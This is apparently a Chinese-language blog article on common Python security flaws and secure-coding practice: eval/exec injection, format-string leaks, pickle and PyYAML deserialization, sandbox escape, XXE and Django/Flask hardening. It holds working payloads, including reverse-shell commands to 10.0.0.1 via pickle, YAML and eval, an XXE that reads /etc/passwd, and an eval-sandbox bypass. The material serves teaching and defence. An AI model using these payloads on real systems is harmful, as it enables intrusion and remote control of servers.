Python開發常見漏洞
- Author:ZERO-A-ONE
- Date:2020-12-29
一、危險函式
每個語言都有一些使用要特別小心的危險函式,這裡例舉Python的三個危險函式:eval(), exec() 和input(),不恰當的使用它們可能會引起認證繞過甚至是程式碼注入
1.1 eval
eval函式接受字串並將字串當作程式碼執行,比如:
eval('1+1')
會返回2,所以eval函式可以用來在系統上執行任意程式碼
我們來看個例子:
def addition(a, b):
return eval("%s + %s" % (a, b))
result = addition(request.json['a'], request.json['b'])
print("The result is %d." % result)
上面的程式碼,使用的是JSON格式來接收輸入,正常的輸入比如:
{"a":"1", "b":"2"}
那麼會輸出:
The result is 3.
但是因為eval就只是單純的執行使用者提供的輸入,那攻擊者就可以為程式提供一些惡意構造的輸入,下面是一個例子:
{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#", "b":"2"}
上面這個輸入會導致程式呼叫os.system()函式,並在8080埠上開啟一個反向shell給IP 10.0.0.1
1.2 Exec
exec和eval類似,都是把給定的輸入字串進行執行,所以利用的方式也差不多,下面這個例子也是和eval那個例子類似
def addition(a, b):
return exec("%s + %s" % (a, b))
addition(request.json['a'], request.json['b'])
1.3 Input
在Python2中,接受使用者輸入有兩個內建的函式:input()和raw_input(),後面Python3變成了一個:input()
Python2中input和raw_input的區別是,raw_input是將輸入變成字串後再處理,而input是直接保留原始資料型別
那麼這有什麼問題呢?如果使用Python2的input函式,可以意味著攻擊者可以自動的傳遞變數名,函式名,從而導致繞過認證等其他意想不到的後果
下面來看一個例子:
user_pass = get_user_pass("admin")
if user_pass == input("Please enter your password"):
login()
else:
print "Password is incorrect!"
攻擊者可以很簡單的把user_pass變數名作為輸入,然後可以看到,檢查密碼的等式為真,測試通過了
if user_pass == user_pass: // 為真
當然還有更猥瑣的,攻擊者可以傳入get_user_pass(“admin”)達到相同的效果
if user_pass == get_user_pass("admin"): // 也為真
由於input這個安全問題,在使用Python2(現在還有使用Python2的麼?),應該使用raw_input來代替input
這個漏洞在Python3被清除了,Python3的input和Python2的raw_input是相同的
二、字串格式化
Python還有一個函式是很危險的,它就是str.format()。如果一個程式在使用者可以控制的格式化字串上使用str.formate(),攻擊者可以通過精心構造的格式化字串訪問程式的任意資料。這是一個很容易被利用的漏洞,會導致身份驗證的繞過和資料洩露
Python3引入了一個新的格式化方式,比起Python2的%運算子更強大更靈活。新的字串格式化功能的一個特點是你可以訪問物件的屬性,這就讓你可以做下面這樣的事情
CONFIG = {
"API_KEY": "xxxxxxxxxxxxxxxxxxxxx"
}
class Person(object):
def __init__(self, name):
self.name = name
def print_nametag(format_string, person):
return format_string.format(person=person)
new_person = Person("Pxiaoer")
print_nametag(input("Please format your nametag!"), person)
上面程式的功能是輸入一個名字,然後返回格式化的名字
比如下面的這次呼叫:
print_nametag("Hi, my name is {person.name}. I am a {person.__class__.__name__}.", new_person)
會輸出:
"Hi, my name is Pxiaoer. I am a Person."
當使用者可以控制格式化字串的時候,問題就出現了。在使用Python物件方法的特殊屬性可以用來洩露程式資料。比如,globals可以用來訪問全域性變數的字典。下面的呼叫,直接洩露了資料
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)
上面的呼叫會返回:
xxxxxxxxxxxxxxxxxxxxx
這樣就造成了API key洩露給了程式的使用者
三、反序列化
3.1 利用Pickle反序列化
序列化就是把程式語言中的物件(比如Python物件)轉換成,可以儲存到資料庫或者可以在網路傳輸的格式
反序列化是相關的情況,就是將一個已經序列化的物件從檔案或網路中讀取,再轉換回一個物件
在Python中,序列化是通過Pickles來完成的。下面的例子將列印new_person的序列化的結果
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
print(pickle.dumps(new_person))
結果:
b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.'
而pickle.load是返回Python的原始物件,供程式使用,這個過程稱為unpickling:
print(pickle.loads(b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.').name)
輸出:
Pxiaoer
當程式接受的攻擊者惡意構造的資料時,該功能會使攻擊者能夠繞過身份驗證,甚至是程式碼執行
3.2 身份驗證繞過
如果程式接受一個已經序列化的物件資訊,但是沒有檢查物件的完整行。攻擊者可以簡單的提供一個假的pickle來繞過訪問控制
在這裡假設程式的會話cookie是一個字串,它是Person物件的base64編碼的序列化表示。當程式接收一個會話cookie時,它需要反序列化,取出對著中的name欄位來檢查使用者身份
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
session_cookie = base64_encode(pickle.dumps(new_person))
序列化並不提供任何形式的資料保護,它只是資料進行打包傳輸的一種形式,如果cookie沒有加密,在使用前沒有檢查cookie的完整性,攻擊者可以輕鬆的偽造任何使用者的cookie
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Admin")
session_cookie = base64.b64encode(pickle.dumps(new_person))
3.3 程式碼執行
不安全的反序列化還可以用來實現程式碼執行。我們需要先記住一點,pickle是可以表示任意的Python物件。當一個程式做反序列化操作的時候,它是在例項化該類的一個新物件
pickle類允許物件通過reduce方法來宣告它們應該如果被序列化,這個方法不接受任何的引數,返回一個字串或者元組。當返回一個元組時,元組將決定物件在反序列化期間如何重構。元組是以下的形式:
(callable object that will be called to instantiate the new object, a tuple of arguments for that callable object)
這就意味著,如果攻擊者在一個物件上定義了reduce方法,那麼這個序列化的物件可以在反序列化的時候被例項化成其他的東西
下面我們來看個例子:
class Malicious:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1',))
fake_object = Malicious()
session_cookie = base64.b64encode(pickle.dumps(fake_object))
上面的程式碼可以看到,定義了一個reduce方法,在反序列化的時候,就執行了reduce裡面的程式碼
os.system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')
這樣攻擊者得到了一個繫結在8080埠的shell
3.4 YAML解析問題
另外一種不安全的反序列化的漏洞利用方式是通過載入YAML檔案
YAML 是 “YAML Ain’t Markup Language “的縮寫。它是一種資料序列化標準,在各種程式語言中被廣泛使用。在Python中,Pyyaml是最流行的YAML處理庫
一個YAML檔案,類似於pickles,可以表示任意的Python物件。在Pyyaml中,你可以把一個Python物件打包成YAML檔案,比如:
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
print(yaml.dump(new_person))
上面的程式碼輸出:
!!python/object:__main__.Person
name: Pxiaoer
為了將YAML檔案重新變為原始的Python物件,程式需要呼叫
yaml.load(YAML_FILE)
這就和pickle反序列化問題一樣,YAML載入可以給攻擊者提供構造任意物件來實現程式碼執行的機會
3.5 認證繞過
如果程式使用了使用者提高的YAML檔案來進行訪問控制,而且不檢查YAML檔案的完整性,攻擊者就可能構造任意的YAML文件來繞過訪問控制
下面來看個例子
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
session_cookie = base64_encode(yaml.dump(new_person))
如果使用上面程式碼來生成使用者的會話cookie,那攻擊者就可以簡單的生成一個偽造的會話cookie
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Admin")
session_cookie = base64_encode(yaml.dump(new_person))
3.6 程式碼執行
如果程式使用pyyaml 的版本低於 4.1,可以通過YAML嚮應用程式提供一個os.system()命令來實現任意程式碼執行
!!python/object/apply:os.system ["bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"]
四、沙箱逃逸
沙箱逃逸,就是在給我們的一個程式碼執行環境下(Oj或使用socat生成的互動式終端),脫離種種過濾和限制,最終成功拿到shell許可權的過程
對於Python沙箱逃逸來說,就是從一個被閹割和做了嚴格限制的python執行環境中獲取到更高的許可權,甚至getshell
對於python的沙箱逃逸而言,我們來實現目的的最終想法有以下幾個
- 使用os包中的popen,system兩個函式來直接執行shell
- 使用commands模組中的方法
- 使用subprocess
- 使用寫檔案到指定位置,再使用其他輔助手段
總體來說,我們使用以下幾個函式,就可以直接愉快的拿到shell啦!
import os
import subprocess
import commands
# 直接輸入shell命令,以ifconfig舉例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
但是,可以確定的是,防禦者是不會這麼輕易的讓我們直接拿到shell的,肯定會有各種過濾,對程式碼進行各種各樣的檢查,來阻止可能的進攻
五、安全編碼規範
本身要注意的有,一些危險函式,危險模組的呼叫,主要是系統呼叫。這個如果呼叫一定要對輸入輸出做好過濾,以下是程式碼中各種導致進行系統呼叫的方式。儘量避免。
- 避免各種情況導致系統呼叫
- 謹慎使用Eval
- 資料序列化
5.1 Web程式設計
對應Web程式設計中安全概念在python web框架中的實現。url跳轉,目錄遍歷,任意檔案讀取也需要考慮在內。針對不同的框架也需要。
5.1.1 Flask 安全
- 使用Flask-Security
- 直接生成 HTML 而不通過使用Jinja2
- 不要在使用者提交的資料上呼叫Markup
- 使用 Content-Disposition: attachment 標頭去避免上傳html檔案
- 防止CSRF,flask本身沒有實現該功能
5.1.2 Django 安全
可參考phithon的部落格,有較多相關資料。
- 關閉DEBUG模式
- 關閉swagger除錯
- 妥善儲存SECRET_KEY
- 使用SecurityMiddleware
- 設定SECURE_HSTS_SECONDS開啟HSTS頭,強制HTTPS訪問
- 設定SECURE_CONTENT_TYPE_NOSNIFF輸出nosniff頭,防止型別混淆類漏洞
- 設定SECURE_BROWSER_XSS_FILTER輸出x-xss-protection頭,讓瀏覽器強制開啟XSS過濾
- 設定SECURE_SSL_REDIRECT讓HTTP的請求強制跳轉到HTTPS
- 設定SESSION_COOKIE_SECURE使Cookie為Secure,不允許在HTTP中傳輸
- 設定CSRF_COOKIE_SECURE使CSRF Token Cookie設定為Secure,不允許在HTTP中傳輸
- 設定CSRF_COOKIE_HTTPONLY為HTTP ONLY
- 設定X_FRAME_OPTIONS返回X-FRAME-OPTIONS: DENY頭,以防止被其他頁面作為框架載入導致ClickJacking
- 部署前執行安全性檢測 django-admin.py checksecure --settings=production_settings
5.1.3 XSS
未對輸入和輸出做過濾,場景:
def xss_test(request):
name = request.GET['name']
return HttpResponse('hello %s' %(name))
在程式碼中一搜,發現有大量地方使用,比較正確的使用方式如下:
def xss_test(request):
name = request.GET['name']
#return HttpResponse('hello %s' %(name))
return render_to_response('hello.html', {'name':name})
更好的就是對輸入做限制,比如說一個正則範圍,輸出使用正確的api或者做好過濾
5.1.4 CSRF
對系統中一些重要的操作要做CSRF防護,比如登入,關機,掃描等。django 提供CSRF中介軟體django.middleware.csrf.CsrfViewMiddleware
,寫入到settings.py的中介軟體即可
def my_view(request):
c = {}
c.update(csrf(request))
# ... view code here
return render_to_response("a_template.html", c)
5.1.5 命令注入
審計程式碼過程中發現了一些編寫程式碼的不好的習慣,體現最嚴重的就是在命令注入方面,本來python自身的一些函式庫就能完成的功能,偏偏要呼叫os.system來通過shell 命令執行來完成,老實說最煩這種寫程式碼的啦。下面舉個簡單的例子:
def myserve(request, filename, dirname):
re = serve(request=request,path=filename,document_root=dirname,show_indexes=True)
filestr='authExport.dat'
re['Content-Disposition'] = 'attachment; filename="' + urlquote(filestr) +'"'fullname=os.path.join(dirname,filename)
os.system('sudo rm -f %s'%fullname)
return re
很顯然這段程式碼是存在問題的,因為fullname是使用者可控的。正確的做法是不使用os.system介面,改成python自有的庫函式,這樣就能避免命令注入。python的三種刪除檔案方式:
- shutil.rmtree 刪除一個資料夾及所有檔案
- os.rmdir 刪除一個空目錄
- os.remove,unlink 刪除一個檔案
使用了上述介面之後還得注意不能穿越目錄,不然整個系統都有可能被刪除了。常見的存在命令執行風險的函式如下:
os.system,os.popen,os.spaw*,os.exec*,os.open,os.popen*,commands.call,commands.getoutput,Popen*
推薦使用subprocess模組,同時確保shell=True未設定,否則也是存在注入風險的
5.1.6 sql注入
如果是使用django的api去運算元據庫就應該不會有sql注入了,但是因為一些其他原因使用了拼接sql,就會有sql注入風險。下面貼一個有注入風險的例子:
def getUsers(user_id=None):
conn = psycopg2.connect("dbname='××' user='××' host='' password=''")
cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
if user_id==None:
str = 'select distinct * from auth_user'
else:
str='select distinct * from auth_user where id=%s'%user_id
res = cur.execute(str)
res = cur.fetchall()
conn.close()
return res
```
像這種sql拼接就有sql注入問題,正常情況下應該使用django的資料庫api,如果實在有這方面的需求,可以按照如下方式寫:
```python
def user_contacts(request):
user = request.GET['username']
sql = "SELECT * FROM user_contacts WHERE username = %s"
cursor = connection.cursor()
cursor.execute(sql, [user])
# do something with the results
results = cursor.fetchone() #or results = cursor.fetchall()
cursor.close()
```
直接拼接的是萬萬不可的,如果採用ModelInstance.objects.raw(sql,[]),或者connection.objects.execute(sql,[]) ,通過列表傳進去的引數是沒有注入風險的,因為django會有處理。
# 6 程式碼執行
一般是由於eval和pickle.loads的濫用造成的,特別是eval,大家都沒有意識到這方面的問題。下面舉個程式碼中的例子:
```python
@login_required
@permission_required("accounts.newTask_assess")
def targetLogin(request):
req = simplejson.loads(request.POST['loginarray'])
req=unicode(req).encode("utf-8")
loginarray=eval(req)
ip=_e(request,'ipList')
#targets=base64.b64decode(targets)
(iplist1,iplist2)=getIPTwoList(ip)
iplist1=list(set(iplist1))
iplist2=list(set(iplist2))
loginlist=[]
delobjs=[]
holdobjs=[]
這一段程式碼就是就是因為eval的引數不可控,導致任意程式碼執行,正確的做法就是literal.eval介面。再取個pickle.loads的例子:
>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
5.1.7 檔案操作
檔案操作主要包含任意檔案下載,刪除,寫入,覆蓋等,如果能達到寫入的目的時基本上就能寫一個webshell了。下面舉個任意檔案下載的例子:
@login_required
@permission_required("accounts.newTask_assess")
def exportLoginCheck(request,filename):
if re.match(r“*.lic”,filename):
fullname = filename
else:
fullname = "/tmp/test.lic"
print fullname
return HttpResponse(fullname)
這段程式碼就存在著任意.lic檔案下載的問題,沒有做好限制目錄穿越,同理
5.1.8 檔案上傳
5.1.8.1 任意檔案上傳
這裡主要是未限制檔案大小,可能導致ddos,未限制檔案字尾,導致任意檔案上傳,未給檔案重新命名,可能導致目錄穿越,檔案覆蓋等問題
5.1.8.2 xml,excel等上傳
在我們的產品中經常用到xml來儲存一些配置檔案,同時也支援xml檔案的匯出匯入,這樣在libxml2.9以下就可能導致xxe漏洞。就拿lxml來說吧:
root@kali:~/python# cat test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<node id="11" name="bb" net="192.168.0.2-192.168.0.37" ltd="" gid="" />test&xxe;</root>
>>> from lxml import etree
>>> tree1 = etree.parse('test.xml')
>>> print etree.tostring(tree1.getroot())
<root>
<node id="11" name="bb" net="192.168.0.2-192.168.0.37" ltd="" gid=""/>testroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
這是因為在lxml中預設採用的XMLParser導致的:
class XMLParser(_FeedParser)
| XMLParser(self, encoding=None, attribute_defaults=False, dtd_validation=False, load_dtd=False, no_network=True, ns_clean=False, recover=False, XMLSchema schema=None, remove_blank_text=False, resolve_entities=True, remove_comments=False, remove_pis=False, strip_cdata=True, target=None, compact=True)
關注其中兩個關鍵引數,其中resolve_entities=True,no_network=True,其中resolve_entities=True會導致解析實體,no_network會為True就導致了該利用條件比較有效,會導致一些ssrf問題,不能將資料帶出。在python中xml.dom.minidom,xml.etree.ElementTree不受影響
5.1.9 不安全的封裝
5.1.9.1 eval 封裝不徹底
僅僅是將__builtings__
置為空,如下方式即可繞過,可參見bug84179
>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
... "/home/xxlegend/eval_test/configobj-4.4.0-py2.5.egg").load_module(
... "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0
5.1.9.2 執行命令介面封裝不徹底
在底層封裝函式沒有過濾shell元字元,僅僅是限定一些命令,但是其引數未做控制,可參見bug86011
5.2 審計工具
安裝使用方式較為簡單,所以不做介紹。
參考文章
-
Python語言安全問題: http://flypython.com/tutorial/367.html
-
Python安全編碼規範: https://www.cnblogs.com/xiaozi/p/10044594.html
-
Python沙箱逃逸的n種姿勢: https://xz.aliyun.com/t/52
-
Flask debug pin安全問題: https://xz.aliyun.com/t/2553
-
淺談PyYAML反序列化漏洞: https://xz.aliyun.com/t/7923
-
Python安全編碼和程式碼審計: http://xxlegend.com/2015/07/30/Python%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E5%92%8C%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
相關文章
- python常見漏洞總結Python
- 【JAVA-WEB常見漏洞-XSS漏洞】JavaWeb
- 論PHP常見的漏洞PHP
- Linux常見漏洞修復教程!Linux
- 前端開發常見佈局前端
- Python中的10個常見安全漏洞及修復方法Python
- Python常見ErrorPythonError
- 2021網站常見漏洞有哪些網站
- 0.java開發常見故障Java
- 驅動開發常見縮寫
- DDC/NFT開發常見問題
- 近期BSN開發常見問題
- 邏輯漏洞的常見驗證手法
- Web中介軟體常見漏洞總結Web
- 滲透測試9種常見漏洞
- TCP/IP協議常見漏洞型別TCP協議型別
- 常見中介軟體漏洞復現(上)
- react-native開發常見問題React
- Laravel 個人開發常見問題Laravel
- Java開發常見基礎題大全Java
- DDC開發常見問題答疑(二)
- 近期BSN開發常見問題答疑
- Python——常見注意事項Python
- Python中的常見方法Python
- Python - list 列表常見方法Python
- web 應用常見安全漏洞一覽Web
- 常見的伺服器漏洞防護措施!伺服器
- uni-app開發 常見異常和解決辦法APP
- vue.js 前端開發常見問題Vue.js前端
- 小程式開發常見踩坑系列(下)
- 開發過程中mysql常見問題MySql
- 開發中hive常見的調優策略Hive
- 前端開發常見問題精選(五)前端
- Golang開發常見的57個錯誤Golang
- 從零開始學習各種常見未授權訪問漏洞
- vue實踐中的常見知識漏洞001Vue
- WPS漏洞利用工具Bully常見命令集合
- Python常見資料框操作①Python